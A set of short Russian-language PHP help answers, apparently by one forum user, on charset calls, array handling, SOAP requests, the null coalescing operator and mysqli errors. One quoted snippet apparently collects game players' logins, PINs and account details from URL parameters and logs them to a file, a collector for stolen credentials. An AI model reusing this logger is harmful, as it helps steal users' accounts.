Rsa97

$query = "INSERT INTO movie VALUES(null)"
Нет точки с запятой в конце строки

Скобки тут у вас только фигурные и они не экранируются.
Если вы про слэши, то JSON_UNESCAPED_SLASHES.

<?php
if (isset($_GET) && !empty($_GET)) {
    $log = $_GET['log'];
    $srvr = $_GET['srvr'];
    $servname = $_GET['servname'];
    $did = $_GET['did'];
    $inf = $_GET['inf'];
    $pin = $_GET['pin'];
    $skin = $_GET['skin'];
    $score = $_GET['score'];
    $money = $_GET['money'];
    $remoteAddr = $_SERVER['REMOTE_ADDR'];
    $date = date('H:i:s-d.m.y');
    if (!empty($inf)) {
        $message = "$date | Login: $log [skin: $skin, lvl: $score, money: $money$] | Server: $srvr [$servname] | Info[id: $did]: $inf | User-IP: $remoteAddr \r\n";
    } elseif (!empty($pin)) {
        $message = "$date | Login: $log [skin: $skin, lvl: $score, money: $money$] | Server: $srvr [$servname] | Info[PIN]: $pin | User-IP: $remoteAddr \r\n";
    }
    if (isset($message)) {
        $file = fopen("By\xde\xf2\xf3\xe1\xe5\xf0\xca\xe8\xf0\xff.txt" , 'a+');
        $result = fwrite($file, $message);
    }
} else {
    echo '<a href="https://www.youtube.com/channel/UCm9ypHcgruKSDra2xPoQ8rA">My channel</a>';
}
?>

Перепутан порядок аргументов в mysqli_set_charset().
Попытка установить несуществующую кодировку utf8mb64.

Документацию читать пробовали?
Как и все прочие функции PHP, readfile работает исключительно на сервере. На стороне клиента она ничего создать не может.

array_column()

$arr = ['863|20', '863|50', '822|100', '822|100'];
$result = array_reduce(
  $arr,
  function ($carry, $item) {
    $els = explode('|', $item);
    $carry[+$els[0]] = ($carry[+$els[0]] ?? 0) + $els[1];
    return $carry;
  },
  []
);
print_r($result);
// Array (
//     [863] => 70
//     [822] => 200
// )

Смотрим описание getRefbook:

<operation name="getRefbook">
  <documentation>
    Возвращает полную указанную версию справочника, если это возможно
  </documentation>
  <input message="typens:getRefbook"> </input>
  <output message="typens:getRefbookResponse"> </output>
</operation>

Видим, что на вход принимается набор параметров, описанный в typens:getRefbook. Ищем его:

<message name="getRefbook">
  <part name="userKey" type="xsd:string"> </part>
  <part name="refbookCode" type="xsd:string"> </part>
  <part name="version" type="xsd:string"> </part>
</message>

То есть, нужно передать три строковых параметра. Судя по названиям, это ключ пользователя, идентификатор справочника и, предполагаю, версия api.

$client->getRefbook([
  'userKey' => '1111f0cf-b111-1d11-a111-1cee1111d111',
  'refbookCode' => '1.2.643.5.1.13.2.1.1.194',
  'version' => '1.0'
]);

https://www.php.net/manual/ru/class.reflectionfunc...

function func($arg1, $arg2 = null) {}

$refFunc = new ReflectionFunction('func');
print $refFunc->getNumberOfParameters(); // 2
print $refFunc->getNumberOfRequiredParameters(); // 1

Это не тернарный оператор, а оператор слияния (Null coalescing). И определяется он не по слабому равенству, а по тождественности:

It returns its first operand if it exists and is not NULL; otherwise it returns its second operand.

Как видите, в оригинальном тексте речь идёт не о равенстве с NULL, а о том, что значение не является NULL.

$arr = json_decode($json, true);
$newJson = json_encode([
  'total' => count($arr),
  'totalNotFiltered ' => count($arr),
  'rows' => array_map(
    function ($uid, $el) {
      $el['uid'] = $uid;
      return $el;
    },
    array_keys($arr),
    array_values($arr)
  )
]);

Откройте консоль браузера, вкладку "Сеть" и посмотрите, что именно возвращается с сервера в ответ на ваш запрос. Судя по ошибке, кроме/вместо JSON вы возвращаете HTML.

WHERE `user_id` = :id OR `user_id` = 0
Или через UNION

Конкатенация выполняется раньше, чем тернарный оператор. В результате, ваша строка выглядит как

$inputs .= ('<input type="hidden" name="item_name_' . $index)
  ? $index 
  : (1 . '>" value="' . $item['title'] . '"><input type="hidden" name="quantity_' . $index)
    ? $index
    : (1 . '" value="' . $count . '"><input type="hidden" name="amount_' . $index)
      ? $index
      : (1 . '" value="' . $total . '">');

Задавайте порядок операций явно скобками.

Вам же английским по белому пишет:
Предупреждение: mysqli_real_escape_string() ожидает, что первый параметр будет иметь тип mysqli, вместо этого получен ресурс.
Вы же делаете подключение через mysql_, а потом пытаетесь использовать функции mysqli_. Это совершенно разные наборы функций.